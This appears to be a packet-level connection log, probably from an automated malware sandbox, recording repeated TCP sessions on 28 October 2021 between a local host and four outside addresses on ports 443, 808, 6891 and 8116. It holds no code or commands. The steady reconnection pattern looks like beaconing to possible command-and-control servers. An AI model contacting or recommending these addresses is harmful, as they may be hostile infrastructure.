Oct 28, 2021 04:58:11.953707933 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:11.953810930 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:11.953821898 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:11.953850985 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:11.953880072 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:11.953942060 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:11.956609964 CEST	49773	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:11.956629038 CEST	443	49773	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:11.959189892 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:12.073456049 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:12.073494911 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:12.073802948 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:12.074275017 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:12.074285030 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:12.101593971 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.267159939 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.267311096 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.268074989 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.393508911 CEST	49774	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:12.433079004 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.433167934 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.433320999 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.434030056 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.439065933 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.439222097 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.442210913 CEST	8116	49774	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:12.592232943 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:12.593126059 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:12.593142033 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:12.593152046 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:12.598934889 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.599447012 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:12.599459887 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:12.599478006 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:12.599486113 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:12.603902102 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.604001045 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.604160070 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.604238033 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.987622976 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.987663031 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:12.987740993 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.987796068 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:12.989949942 CEST	49776	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:13.101335049 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:13.157655954 CEST	808	49776	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:13.267791033 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:13.269462109 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:13.270973921 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:13.304975986 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:13.305088043 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:13.305232048 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:13.322318077 CEST	49775	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:13.322344065 CEST	443	49775	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:13.437293053 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:13.437400103 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:13.437565088 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:13.438266993 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:13.445815086 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:13.445986986 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:13.452172041 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:13.612566948 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:13.612601995 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:13.617938995 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:13.618333101 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:13.619127035 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:13.650408983 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:13.784970045 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:13.785031080 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:13.785522938 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:13.786155939 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:13.791420937 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:13.791538954 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:13.951708078 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:13.957178116 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:13.957226038 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:13.957267046 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:13.996995926 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:13.997024059 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:13.997220993 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:13.997287035 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.000382900 CEST	49777	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.121037006 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.166893005 CEST	6891	49777	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:14.175308943 CEST	8116	49779	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:14.175451040 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.176520109 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.230815887 CEST	8116	49779	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:14.230863094 CEST	8116	49779	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:14.230972052 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.231630087 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.237088919 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.237221003 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.290805101 CEST	8116	49779	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:14.290832996 CEST	8116	49779	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:14.336684942 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:14.336704969 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:14.336813927 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:14.336880922 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:14.347321033 CEST	49778	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:14.459800005 CEST	8116	49779	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:14.459847927 CEST	8116	49779	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:14.460020065 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.466875076 CEST	49779	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:14.466953039 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.512967110 CEST	808	49778	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:14.520827055 CEST	8116	49779	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:14.586601019 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:14.586664915 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:14.586797953 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:14.587531090 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:14.587555885 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:14.632348061 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:14.632606983 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.633711100 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.799034119 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:14.799087048 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:14.799187899 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.802884102 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.811252117 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.811479092 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:14.976629019 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:14.976670027 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:14.976695061 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:15.111499071 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:15.111603975 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.112308025 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.112324953 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:15.119056940 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.119097948 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:15.119199038 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.119210958 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:15.361815929 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:15.361839056 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:15.361948013 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:15.361998081 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:15.372421026 CEST	49780	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:15.496845961 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.537740946 CEST	6891	49780	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:15.547163963 CEST	8116	49782	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:15.547305107 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.548077106 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.598264933 CEST	8116	49782	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:15.598400116 CEST	8116	49782	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:15.598507881 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.599320889 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.610707998 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.610817909 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.660981894 CEST	8116	49782	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:15.832272053 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:15.832381964 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:15.832465887 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.832509041 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.835122108 CEST	49781	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.835176945 CEST	443	49781	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:15.845879078 CEST	8116	49782	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:15.845918894 CEST	8116	49782	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:15.845980883 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.846005917 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.852308035 CEST	49782	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:15.903564930 CEST	8116	49782	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:15.947511911 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:15.982975006 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.983022928 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:15.983125925 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.983829975 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:15.983844042 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:16.110914946 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.111172915 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.112462044 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.275533915 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.275630951 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.275737047 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.276515961 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.282036066 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.282114983 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.439340115 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.444906950 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.444926023 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.444942951 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.444958925 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.512496948 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:16.512645006 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:16.514050961 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:16.514069080 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:16.520492077 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:16.520507097 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:16.520623922 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:16.520642042 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:16.832609892 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.832631111 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:16.832789898 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.832829952 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.835027933 CEST	49783	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:16.947376013 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:16.997823000 CEST	808	49783	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.113729954 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:17.113843918 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:17.115086079 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:17.236782074 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:17.236967087 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:17.236991882 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:17.237032890 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:17.237078905 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:17.237135887 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:17.246362925 CEST	49784	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:17.246397972 CEST	443	49784	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:17.281276941 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:17.281366110 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:17.281451941 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:17.281995058 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:17.286211967 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:17.286329985 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:17.405379057 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:17.452564955 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:17.452599049 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:17.452621937 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:17.565078020 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.565243959 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:17.566395044 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:17.726011038 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.726196051 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.726332903 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:17.727020025 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:17.731990099 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:17.732100010 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:17.833571911 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:17.833619118 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:17.833755970 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:17.839353085 CEST	49786	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:17.886528015 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.891535997 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.891558886 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.891575098 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.891591072 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:17.960998058 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.005683899 CEST	6891	49786	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:18.015191078 CEST	8116	49789	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:18.017640114 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.017694950 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.071829081 CEST	8116	49789	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:18.072088957 CEST	8116	49789	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:18.072884083 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.092214108 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.094341040 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.094367027 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.148433924 CEST	8116	49789	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:18.284909964 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:18.284940004 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:18.285095930 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:18.293883085 CEST	49787	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:18.334301949 CEST	8116	49789	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:18.334336042 CEST	8116	49789	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:18.337722063 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.337764025 CEST	49789	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:18.392154932 CEST	8116	49789	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:18.419101000 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:18.453401089 CEST	808	49787	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:18.463809967 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:18.463859081 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:18.463974953 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:18.464592934 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:18.464617968 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:18.584546089 CEST	6891	49790	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:18.584721088 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:18.586569071 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:18.752029896 CEST	6891	49790	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:18.752188921 CEST	6891	49790	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:18.752285004 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:18.754028082 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:18.768655062 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:18.768744946 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:18.934089899 CEST	6891	49790	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:18.934135914 CEST	6891	49790	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:18.981453896 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:18.981987000 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:18.982846022 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:18.982856035 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:18.989265919 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:18.989284992 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:18.989361048 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:18.989368916 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:19.312784910 CEST	6891	49790	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:19.312807083 CEST	6891	49790	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:19.313957930 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:19.321054935 CEST	49790	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:58:19.436482906 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.486356020 CEST	6891	49790	45.77.0.96	192.168.2.6
Oct 28, 2021 04:58:19.497071981 CEST	8116	49794	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:19.497332096 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.498564005 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.559032917 CEST	8116	49794	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:19.559322119 CEST	8116	49794	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:19.559472084 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.560688972 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.567564964 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.567704916 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.628258944 CEST	8116	49794	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:19.628835917 CEST	8116	49794	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:19.701926947 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:19.701997042 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:19.702053070 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:19.702105999 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:19.705925941 CEST	49791	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:19.705950022 CEST	443	49791	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:19.801064014 CEST	8116	49794	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:19.801107883 CEST	8116	49794	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:19.801234961 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.809283972 CEST	49794	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:58:19.822508097 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:19.873284101 CEST	8116	49794	185.56.219.47	192.168.2.6
Oct 28, 2021 04:58:19.934406996 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:19.934451103 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:19.934597015 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:19.935501099 CEST	49796	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:58:19.935518026 CEST	443	49796	192.46.210.220	192.168.2.6
Oct 28, 2021 04:58:19.984975100 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:19.985095024 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:19.986499071 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:20.148616076 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.148691893 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.148778915 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:20.150852919 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:20.157391071 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:20.157655954 CEST	49795	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:58:20.313043118 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.319645882 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.319689989 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.319715023 CEST	808	49795	143.244.140.214	192.168.2.6
Oct 28, 2021 04:58:20.319741011 CEST	808	49795	143.244.140.214	192.168.2.6
